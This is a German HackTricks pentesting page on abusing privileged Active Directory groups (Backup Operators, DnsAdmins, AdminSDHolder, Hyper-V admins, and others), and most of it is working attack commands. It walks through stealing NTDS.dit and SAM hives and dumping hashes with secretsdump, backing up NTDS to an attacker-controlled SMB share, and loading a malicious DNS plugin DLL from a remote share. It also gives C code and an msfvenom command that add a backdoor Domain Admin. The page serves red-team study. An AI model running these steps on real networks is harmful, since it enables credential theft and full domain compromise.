Privilegierte Gruppen
Reading time: 11 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Bekannteste Gruppen mit Administrationsprivilegien
- Administratoren
- Domänen-Administratoren
- Enterprise-Administratoren
Kontobetreiber
Diese Gruppe ist befugt, Konten und Gruppen zu erstellen, die keine Administratoren in der Domäne sind. Darüber hinaus ermöglicht sie die lokale Anmeldung am Domänencontroller (DC).
Um die Mitglieder dieser Gruppe zu identifizieren, wird der folgende Befehl ausgeführt:
Get-NetGroupMember -Identity "Account Operators" -Recurse
Das Hinzufügen neuer Benutzer ist erlaubt, ebenso wie die lokale Anmeldung an DC01.
AdminSDHolder-Gruppe
Die Access Control List (ACL) der AdminSDHolder-Gruppe ist entscheidend, da sie Berechtigungen für alle "geschützten Gruppen" innerhalb von Active Directory festlegt, einschließlich hochprivilegierter Gruppen. Dieser Mechanismus gewährleistet die Sicherheit dieser Gruppen, indem er unbefugte Änderungen verhindert.
Ein Angreifer könnte dies ausnutzen, indem er die ACL der AdminSDHolder-Gruppe ändert und einem Standardbenutzer vollständige Berechtigungen gewährt. Dies würde diesem Benutzer effektiv die volle Kontrolle über alle geschützten Gruppen geben. Wenn die Berechtigungen dieses Benutzers geändert oder entfernt werden, würden sie aufgrund des Systemdesigns innerhalb einer Stunde automatisch wiederhergestellt.
Befehle zur Überprüfung der Mitglieder und zur Änderung der Berechtigungen umfassen:
Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
Ein Skript ist verfügbar, um den Wiederherstellungsprozess zu beschleunigen: Invoke-ADSDPropagation.ps1.
Für weitere Details besuchen Sie ired.team.
AD Papierkorb
Die Mitgliedschaft in dieser Gruppe ermöglicht das Lesen von gelöschten Active Directory-Objekten, was sensible Informationen offenbaren kann:
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
Zugriff auf den Domänencontroller
Der Zugriff auf Dateien auf dem DC ist eingeschränkt, es sei denn, der Benutzer ist Teil der Gruppe Server Operators
, die das Zugriffslevel ändert.
Privilegieneskalation
Mit PsService
oder sc
von Sysinternals kann man die Berechtigungen von Diensten einsehen und ändern. Die Gruppe Server Operators
hat beispielsweise die volle Kontrolle über bestimmte Dienste, was die Ausführung beliebiger Befehle und die Privilegieneskalation ermöglicht:
C:\> .\PsService.exe security AppReadiness
Dieser Befehl zeigt, dass Server Operators
vollen Zugriff haben, was die Manipulation von Diensten für erhöhte Berechtigungen ermöglicht.
Backup Operators
Die Mitgliedschaft in der Gruppe Backup Operators
gewährt Zugriff auf das Dateisystem von DC01
aufgrund der SeBackup
- und SeRestore
-Berechtigungen. Diese Berechtigungen ermöglichen das Durchqueren von Ordnern, das Auflisten und das Kopieren von Dateien, selbst ohne ausdrückliche Berechtigungen, unter Verwendung des FILE_FLAG_BACKUP_SEMANTICS
-Flags. Für diesen Prozess ist die Nutzung spezifischer Skripte erforderlich.
Um die Gruppenmitglieder aufzulisten, führen Sie aus:
Get-NetGroupMember -Identity "Backup Operators" -Recurse
Lokaler Angriff
Um diese Berechtigungen lokal zu nutzen, werden die folgenden Schritte durchgeführt:
- Notwendige Bibliotheken importieren:
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
- Aktivieren und überprüfen Sie
SeBackupPrivilege
:
Set-SeBackupPrivilege
Get-SeBackupPrivilege
- Greifen Sie auf Dateien in eingeschränkten Verzeichnissen zu und kopieren Sie sie, zum Beispiel:
dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
AD-Angriff
Der direkte Zugriff auf das Dateisystem des Domänencontrollers ermöglicht den Diebstahl der NTDS.dit
-Datenbank, die alle NTLM-Hashes für Domänenbenutzer und -computer enthält.
Verwendung von diskshadow.exe
- Erstellen Sie eine Schattenkopie des
C
-Laufwerks:
diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
begin backup
add volume C: alias cdrive
create
expose %cdrive% F:
end backup
exit
- Kopiere
NTDS.dit
aus der Schattenkopie:
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
Alternativ können Sie robocopy
zum Kopieren von Dateien verwenden:
robocopy /B F:\Windows\NTDS .\ntds ntds.dit
- Extrahiere
SYSTEM
undSAM
zur Hash-Abfrage:
reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV
- Alle Hashes aus
NTDS.dit
abrufen:
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
Verwendung von wbadmin.exe
- Richten Sie das NTFS-Dateisystem für den SMB-Server auf der Angreifermaschine ein und cachen Sie die SMB-Anmeldeinformationen auf der Zielmaschine.
- Verwenden Sie
wbadmin.exe
für die Systembackup- undNTDS.dit
-Extraktion:
net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
Für eine praktische Demonstration siehe DEMO VIDEO WITH IPPSEC.
DnsAdmins
Mitglieder der DnsAdmins-Gruppe können ihre Berechtigungen ausnutzen, um eine beliebige DLL mit SYSTEM-Berechtigungen auf einem DNS-Server zu laden, der häufig auf Domänencontrollern gehostet wird. Diese Fähigkeit ermöglicht erhebliches Ausnutzungspotenzial.
Um die Mitglieder der DnsAdmins-Gruppe aufzulisten, verwenden Sie:
Get-NetGroupMember -Identity "DnsAdmins" -Recurse
Führen Sie beliebige DLL aus
Mitglieder können den DNS-Server anweisen, eine beliebige DLL (entweder lokal oder von einem Remote-Share) mit Befehlen wie: zu laden
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
// Modify DLL to add user
DWORD WINAPI DnsPluginInitialize(PVOID pDnsAllocateFunction, PVOID pDnsFreeFunction)
{
system("C:\\Windows\\System32\\net.exe user Hacker T0T4llyrAndOm... /add /domain");
system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /domain");
}
// Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
Das Neustarten des DNS-Dienstes (was zusätzliche Berechtigungen erfordern kann) ist notwendig, damit die DLL geladen werden kann:
sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns
Für weitere Details zu diesem Angriffsvektor siehe ired.team.
Mimilib.dll
Es ist auch möglich, mimilib.dll für die Ausführung von Befehlen zu verwenden, indem es modifiziert wird, um spezifische Befehle oder Reverse Shells auszuführen. Überprüfen Sie diesen Beitrag für weitere Informationen.
WPAD-Datensatz für MitM
DnsAdmins können DNS-Datensätze manipulieren, um Man-in-the-Middle (MitM)-Angriffe durch das Erstellen eines WPAD-Datensatzes nach Deaktivierung der globalen Abfrageblockliste durchzuführen. Tools wie Responder oder Inveigh können zum Spoofing und Erfassen von Netzwerkverkehr verwendet werden.
Event Log Readers
Mitglieder können auf Ereignisprotokolle zugreifen und möglicherweise sensible Informationen wie Klartextpasswörter oder Details zur Befehlsausführung finden:
# Get members and search logs for sensitive information
Get-NetGroupMember -Identity "Event Log Readers" -Recurse
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'}
Exchange Windows-Berechtigungen
Diese Gruppe kann DACLs am Domänenobjekt ändern und möglicherweise DCSync-Berechtigungen gewähren. Techniken zur Privilegieneskalation, die diese Gruppe ausnutzen, sind im Exchange-AD-Privesc GitHub-Repo detailliert beschrieben.
# List members
Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse
Hyper-V-Administratoren
Hyper-V-Administratoren haben vollen Zugriff auf Hyper-V, was ausgenutzt werden kann, um die Kontrolle über virtualisierte Domänencontroller zu erlangen. Dazu gehört das Klonen von aktiven DCs und das Extrahieren von NTLM-Hashes aus der NTDS.dit-Datei.
Ausbeutungsbeispiel
Der Mozilla Wartungsdienst von Firefox kann von Hyper-V-Administratoren ausgenutzt werden, um Befehle als SYSTEM auszuführen. Dies beinhaltet das Erstellen eines Hardlinks zu einer geschützten SYSTEM-Datei und das Ersetzen dieser durch eine bösartige ausführbare Datei:
# Take ownership and start the service
takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
sc.exe start MozillaMaintenance
Hinweis: Die Ausnutzung von Hardlinks wurde in den neuesten Windows-Updates gemindert.
Organisation Management
In Umgebungen, in denen Microsoft Exchange bereitgestellt ist, hat eine spezielle Gruppe, die als Organisation Management bekannt ist, erhebliche Fähigkeiten. Diese Gruppe hat das Privileg, auf die Postfächer aller Domänenbenutzer zuzugreifen und hat vollständige Kontrolle über die 'Microsoft Exchange Security Groups' Organisationseinheit (OU). Diese Kontrolle umfasst die Exchange Windows Permissions
Gruppe, die für Privilegieneskalation ausgenutzt werden kann.
Privilegienausnutzung und Befehle
Druckeroperatoren
Mitglieder der Gruppe Druckeroperatoren sind mit mehreren Privilegien ausgestattet, einschließlich des SeLoadDriverPrivilege
, das es ihnen ermöglicht, lokal auf einen Domänencontroller zuzugreifen, ihn herunterzufahren und Drucker zu verwalten. Um diese Privilegien auszunutzen, insbesondere wenn SeLoadDriverPrivilege
in einem nicht erhöhten Kontext nicht sichtbar ist, ist es notwendig, die Benutzerkontensteuerung (UAC) zu umgehen.
Um die Mitglieder dieser Gruppe aufzulisten, wird der folgende PowerShell-Befehl verwendet:
Get-NetGroupMember -Identity "Print Operators" -Recurse
Für detailliertere Ausbeutungstechniken im Zusammenhang mit SeLoadDriverPrivilege
sollte man spezifische Sicherheitsressourcen konsultieren.
Remote Desktop Users
Die Mitglieder dieser Gruppe erhalten Zugriff auf PCs über das Remote Desktop Protocol (RDP). Um diese Mitglieder aufzulisten, stehen PowerShell-Befehle zur Verfügung:
Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Desktop Users"
Weitere Einblicke in die Ausnutzung von RDP finden sich in speziellen Pentesting-Ressourcen.
Remote Management Users
Mitglieder können über Windows Remote Management (WinRM) auf PCs zugreifen. Die Auflistung dieser Mitglieder erfolgt durch:
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc name> -GroupName "Remote Management Users"
Für Exploitationstechniken, die mit WinRM zusammenhängen, sollte spezifische Dokumentation konsultiert werden.
Server Operators
Diese Gruppe hat Berechtigungen, um verschiedene Konfigurationen auf Domänencontrollern durchzuführen, einschließlich Backup- und Wiederherstellungsprivilegien, Ändern der Systemzeit und Herunterfahren des Systems. Um die Mitglieder aufzulisten, wird der folgende Befehl bereitgestellt:
Get-NetGroupMember -Identity "Server Operators" -Recurse
Referenzen
- https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-b--privileged-accounts-and-groups-in-active-directory
- https://docs.microsoft.com/en-us/windows/desktop/secauthz/enabling-and-disabling-privileges-in-c--
- https://adsecurity.org/?p=3658
- http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
- https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/
- https://rastamouse.me/2019/01/gpo-abuse-part-1/
- https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/EXE/NtLoadDriver-C%2B%2B/ntloaddriver.cpp#L13
- https://github.com/tandasat/ExploitCapcom
- https://github.com/TarlogicSecurity/EoPLoadDriver/blob/master/eoploaddriver.cpp
- https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
- https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e
- https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.